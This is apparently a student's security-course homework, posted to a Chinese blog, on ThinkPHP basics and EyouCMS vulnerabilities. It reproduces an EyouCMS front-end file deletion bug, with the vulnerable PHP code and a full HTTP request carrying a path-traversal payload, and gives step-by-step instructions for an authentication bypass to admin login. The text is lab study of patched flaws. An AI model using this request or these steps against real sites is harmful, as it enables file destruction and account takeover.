作业6.22

1、请简述什么是mvc设计模式?在thinphp框架中,mvc中的c一般有什么特征?(比如一般在xx目录,文件名特征等)
MVC是一个设计模式,它强制性的使应用程序的输入、处理和输出分开。使用MVC应用程序被分成三个核心部件:模型(M)、视图(V)、控制器(C),它们各自处理自己的任务。一般在application目录和public目录。


2、请简述 thinkphp框架搭建的网站,一般如何获取用户输入参数?tinkphp框架的网站的路由形式有哪些?
thinkphp框架一般使用助手函数获取用户输入参数,常见的助手函数有include,param,get,post函数。
thinkphp框架的网站的路由方式:
系统默认路由:http://网址/入口文件/模块名(分组名)/控制器名/方法/参数名/参数值
兼容路由:http://网址/入口文件?s=/模块名(分组名)/控制器名/方法名/参数名/参数值


3、请使用composer搭建一个thinkphp框架,版本是5.0.15,然后使用课程提供的攻击工具进行攻击和利用,如果攻击不成功,请分析原因并进行调整,如果攻击成功,请分析哪些是工具的误报,哪些是真实的漏洞。
攻击不成功的原因:
因为工具只在根目录发包,没有包含子域名。
需要在bp里修改数据包流程如下:


4、结合课堂内容,请搭建并复现eyoucms的文件删除漏洞并说明为什么该漏洞是一个前台漏洞。
复现:
1)首先注册一个普通用户的账号。
2)访问/index.php?m=user&c=Uploadify&a=delupload
存在问题的代码如下:

public function delupload()
    {
        if (IS_AJAX_POST) {
            $action = input('param.action/s','del');                
            $filename= input('param.filename/s');
            $filename= empty($filename) ? input('url') : $filename;
            $filename= str_replace('../','',$filename);
            $filename= trim($filename,'.');
            $filename = preg_replace('#^(/[/\w]+)?(/public/upload/|/uploads/)#i', '$2', $filename);
            if(eyPreventShell($filename) && $action=='del' && !empty($filename) && file_exists('.'.$filename)){
                $fileArr = explode('/', $filename);
                if ($fileArr[3] != $this->users_id) {
                    return false;
                }
                $filetype = preg_replace('/^(.*)\.(\w+)$/i', '$2', $filename);
                $phpfile = strtolower(strstr($filename,'.php'));  //排除PHP文件
                $size = getimagesize('.'.$filename);
                $fileInfo = explode('/',$size['mime']);
                if($fileInfo[0] != 'image' || $phpfile || !in_array($filetype, explode(',', config('global.image_ext')))){
                    exit;
                }
                if(@unlink('.'.$filename)){
                    echo 1;
                }else{
                    echo 0;
                }  
                exit;
            }

            echo 1;
            exit;
        }
    }

3)用post方法构造访问访问上述目录的bp包请求数据如下:

POST /index.php?m=user&c=Uploadify&a=delupload HTTP/1.1
Host: eyoucms
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: thinkphp_show_page_trace=0|0; workspaceParam=welcome%7CIndex; PHPSESSID=798ltfqemer5rars2pg9bhi1k9; home_lang=cn; admin_lang=cn; users_id=4; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; thinkphp_show_page_trace=0|0
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

filename=/uploads/....//4/....//....//....//....//....//....//....//1.jpg&resource=reg

4)因为有严格的过滤只能删除图片文件。其中加了几条数据。

  • 绕过AJAX身份认证:X-Requested-With: XMLHttpRequest
  • 为了满足一下两条语句判断需要这样给出参数。/uploads/....//4/....//....//....//....//....//....//....//1.jpg&resource=reg
    $fileArr[3] != $this->users_id
    $fileInfo[0] != 'image' || $phpfile || !in_array($filetype, explode(',', config('global.image_ext')))
    为什么是前台漏洞:
    因为当满足这些条件的时候,可以直接访问,无需判断权限问题
    条件就在\user\controller\Base.php 55行
$resource = input('param.resource/s');
if ('Uploadify@*' == $ctl_all && 'reg' == $resource) {
  // 注册时上传图片不验证登录行为
}

5、分析eyoucms的认证绕过漏洞原理,官方是如何修复该漏洞的
1)首先是有个方法可以在不登录的情况下访问得到。即eyoucms/index.php?m=api&c=Ajax&a=get_token
2)然后其中有个判断函数是IS_AJAX,函数的作用是查看http请求头中是否有如下:
HTTP_X_REQUESTED_WITH: xmlhttprequest
3)如果有就好执行危险函数token()其中只有name这个参数可以控制。
4)函数会计算当前时间的md5值和name一起返回。
5)最重要的是会执行Session::set($name, $token);而其中name是可控的。
6)最后可以用fuzz爆破cookie,用cookie直接登录管理员账号。
7)在浏览器中F12中找到应用程序中修改Cookie,删除login.php后面的内容刷新即可。
官方修复建议:
升级EyouCMS至V1.5.2或以后版本

posted @   0kooo  阅读(6)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示